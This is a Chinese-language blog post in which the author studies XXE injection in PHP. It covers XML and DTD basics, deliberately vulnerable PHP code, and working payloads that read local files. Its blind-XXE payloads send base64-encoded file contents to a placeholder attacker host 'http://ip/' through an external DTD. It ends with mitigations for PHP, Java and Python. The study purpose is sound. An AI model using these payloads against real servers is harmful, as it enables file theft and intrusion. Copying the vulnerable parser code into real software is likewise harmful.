PHP xml 外部实体注入漏洞学习

XML与xxe注入基础知识

1.XMl定义

XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。

XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。

可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计

它被设计用来传输和存储数据,其焦点是数据的内容。

超文本标记语言被设计用来显示数据,其焦点是数据的外观

XML特点,XML 被设计用来结构化、存储以及传输信息。仅仅是纯文本,有能力处理纯文本的软件都可以处理 XML。XML 允许创作者定义自己的标签和自己的文档结构。XML 是独立于软件和硬件的信息传输工具。所有现代浏览器都有读取和操作 XML 的内建 XML 解析器,但是不同的浏览器解析的方法不一样的,如在IE中使用loadXML()方法,在其他浏览器中使用DOMParser。loadXML()方法用于加载字符串文本,load()方法用于加载文件。解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 访问的 XML DOM 对象。

2.XML的作用

 XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。 相反,普通文件不对每个数据段做描述(除了在头文件中),也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<?xml version="1.0" encoding="UTF-8"?>

<!-- ⬆XML声明⬆ -->

<!DOCTYPE  文件名 [

<!ENTITY实体名 "实体内容">

]>

<!-- ⬆文档类型定义(DTD)⬆ -->

<元素名称 category="属性">

文本或其他元素

</元素名称>

<!-- ⬆文档元素⬆ -->

3.xml格式说明

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

 

 

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD

<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

DTD的实体

DTD的作用

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此,我们需要在XML文档内部声明一个外部实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。。我们可以在内部确定其值(内部子集)

 

 

 或从外部来源:(外部子集):

 

 

注意到SYSTEM标识符没?该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site.com”下的一个页面

为了声明这些实体,我们需要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容

那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.

如果要引用一个外部资源,可以借助各种协议 几个例子:

file:///path/to/file.ext

http://url/file.ext

php://filter/read=convert.base64-encode/resource=conf.php

我们来看一个DTD的例子,一个在DTD里面有一个SYSTEM标识符的实体:

 

 

内部声明实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

一个内部实体声明

<!ENTITY 实体名称 "实体的值">

例子

DTD:

<!ENTITY writer "me">

XML:

<author>&writer;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

引用外部实体

一个外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">

或者

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例子

DTD:

<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">

XML:

<author>&writer;</author> 

外部实体类型有

 

 

本地实验

由于Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用

所以这里我用的是phpstudy对应php5.45的环境,libxml版本为2.7.8

php7.2环境中,libxml版本过高,2.9.5

有回显

外部实体

漏洞源码:

<?php
#show_source(__FILE__);
error_reporting(0);
$data = file_get_contents('php://input');

$xml = simplexml_load_string($data);
print_r($xml);
echo $xml->name;

?>   

payload:

1 <?xml version="1.0" encoding="utf-8"?> 
2 <!DOCTYPE ANY [
3 <!ELEMENT name ANY >
4 <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=c:/test.txt" >]>
5 <root>
6 <name>&xxe;</name>
7 </root>

参数实体

payload:

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY  % xxe SYSTEM "http://ip/vil.dtd" >

%xxe;]>

<foo>&evil;</foo>

vil.dtd

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini">

 

 

无回显

漏洞源码

<?php
error_reporting(0);
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
?>

payload:

<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/test.txt">
<!ENTITY % dtd SYSTEM "http://ip/vil.dtd">
%dtd;
%send;
]>

vil.dtd

<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://ip/?data=%file;'>"
>
%all;

 

 或者

payload:

<!DOCTYPE root[
<!ENTITY % dtd SYSTEM "http://ip/vil.dtd">
%dtd;]>
<root>
<root/>

vil.dtd

<!ENTITY % file SYSTEM "php://filter/read=/convert.base64-encode/resource=./vil.dtd">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip/?file=%file;'>">
%all;
%send;

 

注意内部的&都需要实体编码成&#x25;或者&#37; 这两个都可以,一个是ascii的16进制表示,一个是ascii的10进制表示。

 

如果要防止php中的xxe漏洞,可以在simplexml_load_string前加上一句

libxml_disable_entity_loader(true);禁止从外部加载XML实体

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

参考文章:

https://www.cnblogs.com/backlion/p/9302528.html

https://www.freebuf.com/column/156863.html

 

  

posted @ 2020-03-04 14:59  yunying  阅读(839)  评论(0编辑  收藏  举报